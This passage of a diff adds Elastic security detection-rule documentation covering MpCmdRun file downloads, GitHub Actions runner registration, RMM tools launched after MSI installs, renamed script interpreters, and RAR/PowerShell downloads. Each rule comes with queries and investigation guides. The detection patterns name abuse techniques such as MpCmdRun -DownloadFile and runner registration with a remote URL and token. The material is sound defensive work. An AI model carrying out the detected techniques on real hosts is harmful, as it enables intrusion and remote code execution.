'%NetworkService' OR\nuser_account == null)\n"}} + - !{osquery{"label":"Osquery - Retrieve Service Unsigned Executables with Virustotal Link","query":"SELECT concat('https://www.virustotal.com/gui/file/', sha1) AS VtLink, name, description, start_type, status, pid,\nservices.path FROM services JOIN authenticode ON services.path = authenticode.path OR services.module_path =\nauthenticode.path JOIN hash ON services.path = hash.path WHERE authenticode.result != 'trusted'\n"}} + - Retrieve the files' SHA-256 hash values using the PowerShell `Get-FileHash` cmdlet and search for the existence and reputation of the hashes in resources like VirusTotal, Hybrid-Analysis, CISCO Talos, Any.run, etc. +- Investigate potentially compromised accounts. Analysts can do this by searching for login events (for example, 4624) to the target host after the registry modification. + + +*False positive analysis* + + +- This activity is unlikely to happen legitimately. Benign true positives (B-TPs) can be added as exceptions if necessary. + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Isolate the involved host to prevent further post-compromise behavior. +- If the triage identified malware, search the environment for additional compromised hosts. + - Implement temporary network rules, procedures, and segmentation to contain the malware. + - Stop suspicious processes. + - Immediately block the identified indicators of compromise (IoCs). + - Inspect the affected systems for additional malware backdoors like reverse shells, reverse proxies, or droppers that attackers could use to reinfect the system. +- Remove and block malicious artifacts identified during triage. +- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Reset passwords for these accounts and other potentially compromised credentials, such as email, business systems, and web services. +- Run a full antimalware scan. This may reveal additional artifacts left in the system, persistence mechanisms, and malware components. +- Determine the initial vector abused by the attacker and take action to prevent reinfection through the same vector. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "windows" and event.type == "start" and + (process.name : "MpCmdRun.exe" or ?process.pe.original_file_name == "MpCmdRun.exe") and + process.args : "-DownloadFile" and process.args : "-url" and process.args : "-path" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Command and Control +** ID: TA0011 +** Reference URL: https://attack.mitre.org/tactics/TA0011/ +* Technique: +** Name: Ingress Tool Transfer +** ID: T1105 +** Reference URL: https://attack.mitre.org/techniques/T1105/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-remote-github-actions-runner-registration.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-remote-github-actions-runner-registration.asciidoc new file mode 100644 index 0000000000..34cbfad44c --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-remote-github-actions-runner-registration.asciidoc @@ -0,0 +1,145 @@ +[[prebuilt-rule-8-19-21-remote-github-actions-runner-registration]] +=== Remote GitHub Actions Runner Registration + +This rule detects the configuration of a GitHub Actions self-hosted runner using the Runner.Listener binary. When a machine is registered to a remote repository, its owner gains the ability to execute arbitrary workflow commands on that host. Unexpected or unauthorized runner registration may indicate adversarial activity aimed at establishing remote code execution via malicious GitHub workflows. + +*Rule type*: eql + +*Rule indices*: + +* endgame-* +* logs-crowdstrike.fdr* +* logs-endpoint.events.process-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* +* logs-system.security* +* logs-windows.forwarded* +* logs-windows.sysmon_operational-* +* winlogbeat-* +* auditbeat-* +* logs-auditd_manager.auditd-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.elastic.co/blog/shai-hulud-worm-npm-supply-chain-compromise +* https://socket.dev/blog/shai-hulud-strikes-again-v2 + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* OS: Windows +* OS: macOS +* Use Case: Threat Detection +* Tactic: Execution +* Tactic: Initial Access +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Windows Security Event Logs +* Data Source: Microsoft Defender XDR +* Data Source: Sysmon +* Data Source: SentinelOne +* Data Source: Crowdstrike +* Data Source: Auditd Manager +* Resources: Investigation Guide + +*Version*: 3 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Remote GitHub Actions Runner Registration* + + +Unexpected or unauthorized Github actions runner registration may indicate adversarial activity aimed at establishing remote code execution via malicious GitHub workflows. + + +*Possible investigation steps* + + +- Review the remote repository details and reputation. +- Examine the remote repository for any suspicious workflows run commands in the `.github/workflows` folder. +- Examine the execution context like process tree, associated network and file activities. +- Verify if there is adjascent any sensitive file access or collection. +- Correlate with other alerts and investiguate if this activity is related to a supply chain attack. + + +*False positive analysis* + + +- Authorized configuration changes. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent further unauthorized command execution and potential lateral movement. +- Terminate any suspicious child processes that were initiated by the registered Github actions runner. +- Conduct a thorough review of the affected system's logs and configurations to identify any unauthorized changes or additional indicators of compromise. +- Restore the system from a known good backup if any unauthorized changes or malicious activities are confirmed. +- Implement application whitelisting to prevent unauthorized execution. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to assess the potential impact on the broader network. + +==== Rule query + + +[source, js] +---------------------------------- +process where event.type == "start" and event.action in ("exec", "exec_event", "start", "ProcessRollup2", "executed", "process_started") and + process.name in ("Runner.Listener", "Runner.Listener.exe") and + process.args == "configure" and process.args == "--url" and process.args == "--token" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Supply Chain Compromise +** ID: T1195 +** Reference URL: https://attack.mitre.org/techniques/T1195/ +* Sub-technique: +** Name: Compromise Software Supply Chain +** ID: T1195.002 +** Reference URL: https://attack.mitre.org/techniques/T1195/002/ +* Tactic: +** Name: Command and Control +** ID: TA0011 +** Reference URL: https://attack.mitre.org/tactics/TA0011/ +* Technique: +** Name: Remote Access Tools +** ID: T1219 +** Reference URL: https://attack.mitre.org/techniques/T1219/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-remote-management-access-launch-after-msi-install.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-remote-management-access-launch-after-msi-install.asciidoc new file mode 100644 index 0000000000..68e2701bb1 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-remote-management-access-launch-after-msi-install.asciidoc @@ -0,0 +1,123 @@ +[[prebuilt-rule-8-19-21-remote-management-access-launch-after-msi-install]] +=== Remote Management Access Launch After MSI Install + +Detects an MSI installer execution followed by the execution of commonly abused Remote Management Software like ScreenConnect. This behavior may indicate abuse where an attacker triggers an MSI install then connects via a guest link with a known session key. + +*Rule type*: eql + +*Rule indices*: + +* endgame-* +* logs-crowdstrike.fdr* +* logs-endpoint.events.process-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* +* logs-system.security* +* logs-windows.sysmon_operational-* +* winlogbeat-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://attack.mitre.org/techniques/T1219/ + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Command and Control +* Resources: Investigation Guide +* Data Source: Elastic Defend +* Data Source: Sysmon +* Data Source: SentinelOne +* Data Source: Microsoft Defender XDR +* Data Source: Crowdstrike +* Data Source: Windows Security Event Logs +* Data Source: Elastic Endgame + +*Version*: 3 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Remote Management Access Launch After MSI Install* + + +This rule fires when the same host runs msiexec with an install argument (/i) and within one minute starts a pre-configured RMM software. + + +*Possible investigation steps* + + +- Confirm the sequence on the host: first event should be msiexec.exe with process.args containing "/i"; second should be a remote management software. +- Review the source of the MSI file using file events. +- Check whether use of RMM software is approved for this host. +- Check network events to validate which remote host the RMM software connects to. +- Correlate with other alerts for the same host (initial access, persistence, C2). + + +*False positive analysis* + + +- Legitimate IT/MSP deployment of RMM for support. + + +*Response and remediation* + + +- If unauthorized RMM use or abuse is confirmed: isolate the host, terminate the ScreenConnect client, remove or block the installation, and investigate how the MSI was delivered and who operates the relay. + + +==== Rule query + + +[source, js] +---------------------------------- +sequence by host.id with maxspan=1m + [process where host.os.type == "windows" and event.type == "start" and process.name : "msiexec.exe" and + process.args : ("/i*", "-i*") and process.parent.name : ("explorer.exe", "sihost.exe")] + [process where host.os.type == "windows" and event.type == "start" and + ( + (process.name : "ScreenConnect.ClientService.exe" and process.command_line : "*?e=Access&y=Guest&h*&k=*") or + (process.name : "Syncro.Installer.exe" and process.args : "--config-json" and process.args : "--key") or + process.name : ("tvnserver.exe", "winvnc.exe") + )] + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Command and Control +** ID: TA0011 +** Reference URL: https://attack.mitre.org/tactics/TA0011/ +* Technique: +** Name: Remote Access Tools +** ID: T1219 +** Reference URL: https://attack.mitre.org/techniques/T1219/ +* Sub-technique: +** Name: Remote Desktop Software +** ID: T1219.002 +** Reference URL: https://attack.mitre.org/techniques/T1219/002/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-renamed-automation-script-interpreter.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-renamed-automation-script-interpreter.asciidoc new file mode 100644 index 0000000000..00f4081554 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-renamed-automation-script-interpreter.asciidoc @@ -0,0 +1,154 @@ +[[prebuilt-rule-8-19-21-renamed-automation-script-interpreter]] +=== Renamed Automation Script Interpreter + +Identifies renamed Automation Script Interpreter process. Malware written as an AutoIt/AutoHotKey script tends to rename the main executable to avoid detection. + +*Rule type*: eql + +*Rule indices*: + +* winlogbeat-* +* logs-endpoint.events.process-* +* logs-windows.sysmon_operational-* +* endgame-* +* logs-m365_defender.event-* +* logs-crowdstrike.fdr* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Data Source: Elastic Endgame +* Resources: Investigation Guide +* Data Source: Elastic Defend +* Data Source: Sysmon +* Data Source: Microsoft Defender XDR +* Data Source: Crowdstrike + +*Version*: 218 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Renamed Automation Script Interpreter* + + +The OriginalFileName attribute of a PE (Portable Executable) file is a metadata field that contains the original name of the executable file when compiled or linked. By using this attribute, analysts can identify renamed instances that attackers can use with the intent of evading detections, application allowlists, and other security protections. + +AutoIt is a scripting language and tool for automating tasks on Microsoft Windows operating systems. Due to its capabilities, malicious threat actors can abuse it to create malicious scripts and distribute malware. + +This rule checks for renamed instances of AutoIt, which can indicate an attempt of evading detections, application allowlists, and other security protections. + +> **Note**: +> This investigation guide uses the https://www.elastic.co/guide/en/security/current/invest-guide-run-osquery.html[Osquery Markdown Plugin] introduced in Elastic Stack version 8.5.0. Older Elastic Stack versions will display unrendered Markdown in this guide. + + +*Possible investigation steps* + + +- Investigate the process execution chain (parent process tree) for unknown processes. Examine their executable files for prevalence, whether they are located in expected locations, and if they are signed with valid digital signatures. +- Investigate other alerts associated with the user/host during the past 48 hours. +- Investigate any abnormal behavior by the subject process such as network connections, registry or file modifications, and any spawned child processes. +- Examine the host for derived artifacts that indicate suspicious activities: + - Analyze the process executable using a private sandboxed analysis system. + - Observe and collect information about the following activities in both the sandbox and the alert subject host: + - Attempts to contact external domains and addresses. + - Use the Elastic Defend network events to determine domains and addresses contacted by the subject process by filtering by the process' `process.entity_id`. + - Examine the DNS cache for suspicious or anomalous entries. + - !{osquery{"label":"Osquery - Retrieve DNS Cache","query":"SELECT * FROM dns_cache"}} + - Use the Elastic Defend registry events to examine registry keys accessed, modified, or created by the related processes in the process tree. + - Examine the host services for suspicious or anomalous entries. + - !{osquery{"label":"Osquery - Retrieve All Services","query":"SELECT description, display_name, name, path, pid, service_type, start_type, status, user_account FROM services"}} + - !{osquery{"label":"Osquery - Retrieve Services Running on User Accounts","query":"SELECT description, display_name, name, path, pid, service_type, start_type, status, user_account FROM services WHERE\nNOT (user_account LIKE '%LocalSystem' OR user_account LIKE '%LocalService' OR user_account LIKE '%NetworkService' OR\nuser_account == null)\n"}} + - !{osquery{"label":"Osquery - Retrieve Service Unsigned Executables with Virustotal Link","query":"SELECT concat('https://www.virustotal.com/gui/file/', sha1) AS VtLink, name, description, start_type, status, pid,\nservices.path FROM services JOIN authenticode ON services.path = authenticode.path OR services.module_path =\nauthenticode.path JOIN hash ON services.path = hash.path WHERE authenticode.result != 'trusted'\n"}} + - Retrieve the files' SHA-256 hash values using the PowerShell `Get-FileHash` cmdlet and search for the existence and reputation of the hashes in resources like VirusTotal, Hybrid-Analysis, CISCO Talos, Any.run, etc. + + +*False positive analysis* + + +- This activity is unlikely to happen legitimately. Benign true positives (B-TPs) can be added as exceptions if necessary. + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Isolate the involved host to prevent further post-compromise behavior. +- If the triage identified malware, search the environment for additional compromised hosts. + - Implement temporary network rules, procedures, and segmentation to contain the malware. + - Stop suspicious processes. + - Immediately block the identified indicators of compromise (IoCs). + - Inspect the affected systems for additional malware backdoors like reverse shells, reverse proxies, or droppers that attackers could use to reinfect the system. +- Remove and block malicious artifacts identified during triage. +- Run a full antimalware scan. This may reveal additional artifacts left in the system, persistence mechanisms, and malware components. +- Determine the initial vector abused by the attacker and take action to prevent reinfection through the same vector. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "windows" and event.type == "start" and + ( + (process.pe.original_file_name : "AutoIt*.exe" and not process.name : "AutoIt*.exe") or + (process.pe.original_file_name == "AutoHotkey.exe" and not process.name : ("AutoHotkey*.exe", "InternalAHK.exe")) or + (process.pe.original_file_name == "KIX32.EXE" and not process.name : "KIX*.exe" and process.executable : ("?:\\Users\\*.exe", "?:\\ProgramData\\*.exe", "\\Device\\HarddiskVolume*\\Users\\*.exe", "\\Device\\HarddiskVolume*\\ProgramData\\*.exe")) + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Masquerading +** ID: T1036 +** Reference URL: https://attack.mitre.org/techniques/T1036/ +* Sub-technique: +** Name: Rename Legitimate Utilities +** ID: T1036.003 +** Reference URL: https://attack.mitre.org/techniques/T1036/003/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: AutoHotKey & AutoIT +** ID: T1059.010 +** Reference URL: https://attack.mitre.org/techniques/T1059/010/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-renamed-utility-executed-with-short-program-name.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-renamed-utility-executed-with-short-program-name.asciidoc new file mode 100644 index 0000000000..97e849f4ae --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-renamed-utility-executed-with-short-program-name.asciidoc @@ -0,0 +1,136 @@ +[[prebuilt-rule-8-19-21-renamed-utility-executed-with-short-program-name]] +=== Renamed Utility Executed with Short Program Name + +Identifies the execution of a process with a single character process name, differing from the original file name. This is often done by adversaries while staging, executing temporary utilities, or trying to bypass security detections based on the process name. + +*Rule type*: eql + +*Rule indices*: + +* winlogbeat-* +* logs-endpoint.events.process-* +* logs-windows.sysmon_operational-* +* endgame-* +* logs-m365_defender.event-* +* logs-crowdstrike.fdr* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Sysmon +* Data Source: Microsoft Defender XDR +* Data Source: Crowdstrike +* Resources: Investigation Guide + +*Version*: 217 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Renamed Utility Executed with Short Program Name* + + +Identifies the execution of a process with a single character process name, differing from the original file name. This is often done by adversaries while staging, executing temporary utilities, or trying to bypass security detections based on the process name. + +> **Note**: +> This investigation guide uses the https://www.elastic.co/guide/en/security/current/invest-guide-run-osquery.html[Osquery Markdown Plugin] introduced in Elastic Stack version 8.5.0. Older Elastic Stack versions will display unrendered Markdown in this guide. + + +*Possible investigation steps* + + +- Investigate the process execution chain (parent process tree) for unknown processes. Examine their executable files for prevalence, whether they are located in expected locations, and if they are signed with valid digital signatures. +- Investigate other alerts associated with the user/host during the past 48 hours. +- Investigate any abnormal behavior by the subject process such as network connections, registry or file modifications, command line and any spawned child processes. +- Examine the host for derived artifacts that indicate suspicious activities: + - Analyze the process executable using a private sandboxed analysis system. + - Observe and collect information about the following activities in both the sandbox and the alert subject host: + - Attempts to contact external domains and addresses. + - Use the Elastic Defend network events to determine domains and addresses contacted by the subject process by filtering by the process' `process.entity_id`. + - Examine the DNS cache for suspicious or anomalous entries. + - !{osquery{"label":"Osquery - Retrieve DNS Cache","query":"SELECT * FROM dns_cache"}} + - Use the Elastic Defend registry events to examine registry keys accessed, modified, or created by the related processes in the process tree. + - Examine the host services for suspicious or anomalous entries. + - !{osquery{"label":"Osquery - Retrieve All Services","query":"SELECT description, display_name, name, path, pid, service_type, start_type, status, user_account FROM services"}} + - !{osquery{"label":"Osquery - Retrieve Services Running on User Accounts","query":"SELECT description, display_name, name, path, pid, service_type, start_type, status, user_account FROM services WHERE\nNOT (user_account LIKE '%LocalSystem' OR user_account LIKE '%LocalService' OR user_account LIKE '%NetworkService' OR\nuser_account == null)\n"}} + - !{osquery{"label":"Osquery - Retrieve Service Unsigned Executables with Virustotal Link","query":"SELECT concat('https://www.virustotal.com/gui/file/', sha1) AS VtLink, name, description, start_type, status, pid,\nservices.path FROM services JOIN authenticode ON services.path = authenticode.path OR services.module_path =\nauthenticode.path JOIN hash ON services.path = hash.path WHERE authenticode.result != 'trusted'\n"}} + - Retrieve the files' SHA-256 hash values using the PowerShell `Get-FileHash` cmdlet and search for the existence and reputation of the hashes in resources like VirusTotal, Hybrid-Analysis, CISCO Talos, Any.run, etc. +- Assess whether this behavior is prevalent in the environment by looking for similar occurrences across hosts. + + + +*False positive analysis* + + +- This activity is unlikely to happen legitimately. Benign true positives (B-TPs) can be added as exceptions if necessary. + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Isolate the involved host to prevent further post-compromise behavior. +- If the triage identified malware, search the environment for additional compromised hosts. + - Implement temporary network rules, procedures, and segmentation to contain the malware. + - Stop suspicious processes. + - Immediately block the identified indicators of compromise (IoCs). + - Inspect the affected systems for additional malware backdoors like reverse shells, reverse proxies, or droppers that attackers could use to reinfect the system. +- Remove and block malicious artifacts identified during triage. +- Run a full antimalware scan. This may reveal additional artifacts left in the system, persistence mechanisms, and malware components. +- Determine the initial vector abused by the attacker and take action to prevent reinfection through the same vector. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "windows" and event.type == "start" and + process.name regex~ """[a-z0-9]\.exe""" and process.pe.original_file_name != null + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Masquerading +** ID: T1036 +** Reference URL: https://attack.mitre.org/techniques/T1036/ +* Sub-technique: +** Name: Rename Legitimate Utilities +** ID: T1036.003 +** Reference URL: https://attack.mitre.org/techniques/T1036/003/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-roshal-archive-rar-or-powershell-file-downloaded-from-the-internet.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-roshal-archive-rar-or-powershell-file-downloaded-from-the-internet.asciidoc new file mode 100644 index 0000000000..b1152bb82f --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-roshal-archive-rar-or-powershell-file-downloaded-from-the-internet.asciidoc @@ -0,0 +1,157 @@ +[[prebuilt-rule-8-19-21-roshal-archive-rar-or-powershell-file-downloaded-from-the-internet]] +=== Roshal Archive (RAR) or PowerShell File Downloaded from the Internet + +Detects a Roshal Archive (RAR) file or PowerShell script downloaded from the internet by an internal host. Gaining initial access to a system and then downloading encoded or encrypted tools to move laterally is a common practice for adversaries as a way to protect their more valuable tools and tactics, techniques, and procedures (TTPs). This may be atypical behavior for a managed network and can be indicative of malware, exfiltration, or command and control. + +*Rule type*: query + +*Rule indices*: + +* packetbeat-* +* auditbeat-* +* filebeat-* +* logs-network_traffic.* +* logs-panw.panos* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.fireeye.com/blog/threat-research/2017/04/fin7-phishing-lnk.html +* https://www.justice.gov/opa/press-release/file/1084361/download +* https://www.iana.org/assignments/iana-ipv4-special-registry/iana-ipv4-special-registry.xhtml + +*Tags*: + +* Use Case: Threat Detection +* Tactic: Command and Control +* Domain: Endpoint +* Data Source: PAN-OS +* Resources: Investigation Guide + +*Version*: 108 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Roshal Archive (RAR) or PowerShell File Downloaded from the Internet* + + +RAR files and PowerShell scripts are powerful tools in IT environments, used for data compression and task automation, respectively. However, adversaries exploit these for malicious purposes, such as downloading encrypted tools to evade detection. The detection rule identifies unusual downloads of these files from external sources, flagging potential threats by monitoring network traffic and excluding trusted internal IP ranges. + + +*Possible investigation steps* + + +- Review the network traffic logs to identify the internal host that initiated the download, focusing on the source IP addresses within the ranges 10.0.0.0/8, 172.16.0.0/12, or 192.168.0.0/16. +- Examine the destination IP address of the download to determine if it is associated with known malicious activity or if it is an unusual external IP not typically accessed by the organization. +- Analyze the downloaded file's URL extension or path to confirm if it matches .ps1 or .rar, and assess whether this is expected behavior for the identified host or user. +- Check the internal host's recent activity for any signs of lateral movement or further suspicious downloads, which could indicate a broader compromise. +- Investigate the user account associated with the internal host to verify if the download aligns with their typical usage patterns and permissions. +- Utilize threat intelligence sources to gather additional context on the downloaded file or the external IP address to assess potential risks or known threats. + + +*False positive analysis* + + +- Internal software updates or legitimate administrative scripts may trigger the rule. To manage this, create exceptions for known internal update servers or trusted administrative IP addresses. +- Automated backup processes that use RAR files for compression can be mistaken for threats. Exclude IP addresses or domains associated with these backup services from the rule. +- Development environments often download scripts for testing purposes. Identify and exclude IP ranges or specific hosts associated with development activities to prevent false positives. +- Security tools that download threat intelligence or updates in RAR format might be flagged. Whitelist the IP addresses of these security tools to avoid unnecessary alerts. +- Regularly review and update the list of trusted internal IP ranges to ensure that legitimate traffic is not incorrectly flagged as suspicious. + + +*Response and remediation* + + +- Isolate the affected host from the network immediately to prevent further lateral movement or data exfiltration. +- Conduct a thorough scan of the isolated host using updated antivirus and anti-malware tools to identify and remove any malicious files or scripts. +- Review and analyze network logs to identify any other potentially compromised systems or unusual outbound connections that may indicate further compromise. +- Reset credentials and access tokens for the affected host and any other systems that may have been accessed using the compromised host. +- Restore the affected system from a known good backup if malware removal is not feasible or if the system's integrity is in question. +- Implement network segmentation to limit the ability of threats to move laterally within the network in the future. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to ensure comprehensive remediation and recovery efforts. + + +*Threat intel* + + +This activity has been observed in FIN7 campaigns. + +==== Rule query + + +[source, js] +---------------------------------- +(data_stream.dataset: (network_traffic.http or network_traffic.tls) or + (event.category: (network or network_traffic) and network.protocol: http)) and + (url.extension:(ps1 or rar) or url.path:(*.ps1 or *.rar)) and + not destination.ip:( + 10.0.0.0/8 or + 127.0.0.0/8 or + 169.254.0.0/16 or + 172.16.0.0/12 or + 192.0.0.0/24 or + 192.0.0.0/29 or + 192.0.0.8/32 or + 192.0.0.9/32 or + 192.0.0.10/32 or + 192.0.0.170/32 or + 192.0.0.171/32 or + 192.0.2.0/24 or + 192.31.196.0/24 or + 192.52.193.0/24 or + 192.168.0.0/16 or + 192.88.99.0/24 or + 224.0.0.0/4 or + 100.64.0.0/10 or + 192.175.48.0/24 or + 198.18.0.0/15 or + 198.51.100.0/24 or + 203.0.113.0/24 or + 240.0.0.0/4 or + "::1" or + "FE80::/10" or + "FF00::/8" + ) and + source.ip:( + 10.0.0.0/8 or + 172.16.0.0/12 or + 192.168.0.0/16 + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Command and Control +** ID: TA0011 +** Reference URL: https://attack.mitre.org/tactics/TA0011/ +* Technique: +** Name: Ingress Tool Transfer +** ID: T1105 +** Reference URL: https://attack.mitre.org/techniques/T1105/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-rpc-remote-procedure-call-from-the-internet.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-rpc-remote-procedure-call-from-the-internet.asciidoc new file mode 100644 index 0000000000..924a0788e2 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-rpc-remote-procedure-call-from-the-internet.asciidoc @@ -0,0 +1,152 @@ +[[prebuilt-rule-8-19-21-rpc-remote-procedure-call-from-the-internet]] +=== RPC (Remote Procedure Call) from the Internet + +This rule detects network events that may indicate the use of RPC traffic from the Internet. RPC is commonly used by system administrators to remotely control a system for maintenance or to use shared resources. It should almost never be directly exposed to the Internet, as it is frequently targeted and exploited by threat actors as an initial access or backdoor vector. + +*Rule type*: query + +*Rule indices*: + +* packetbeat-* +* auditbeat-* +* filebeat-* +* logs-network_traffic.* +* logs-panw.panos* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.iana.org/assignments/iana-ipv4-special-registry/iana-ipv4-special-registry.xhtml + +*Tags*: + +* Tactic: Initial Access +* Domain: Endpoint +* Use Case: Threat Detection +* Data Source: PAN-OS +* Resources: Investigation Guide + +*Version*: 110 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating RPC (Remote Procedure Call) from the Internet* + + +RPC enables remote management and resource sharing, crucial for system administration. However, when exposed to the Internet, it becomes a target for attackers seeking initial access or backdoor entry. The detection rule identifies suspicious RPC traffic by monitoring TCP port 135 and filtering out internal IP addresses, flagging potential threats from external sources. + + +*Possible investigation steps* + + +- Review the source IP address of the alert to determine if it is from a known malicious actor or if it has been flagged in previous incidents. +- Check the destination IP address to confirm it belongs to a critical internal system that should not be exposed to the Internet. +- Analyze network traffic logs to identify any unusual patterns or volumes of traffic associated with the source IP, focusing on TCP port 135. +- Investigate any related alerts or logs from the same source IP or destination IP to identify potential patterns or repeated attempts. +- Assess the potential impact on the affected system by determining if any unauthorized access or changes have occurred. +- Consult threat intelligence sources to gather additional context on the source IP or any related indicators of compromise. + + +*False positive analysis* + + +- Internal testing or development environments may generate RPC traffic that appears to originate from external sources. To manage this, add the IP addresses of these environments to the exception list in the detection rule. +- Legitimate remote management activities by trusted third-party vendors could trigger the rule. Verify the IP addresses of these vendors and include them in the exception list if they are known and authorized. +- Misconfigured network devices or proxies might route internal RPC traffic through external IP addresses. Review network configurations to ensure proper routing and add any necessary exceptions for known devices. +- Cloud-based services or applications that use RPC for legitimate purposes might be flagged. Identify these services and adjust the rule to exclude their IP ranges if they are verified as non-threatening. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent further unauthorized access or lateral movement by the attacker. +- Conduct a thorough examination of the system logs and network traffic to 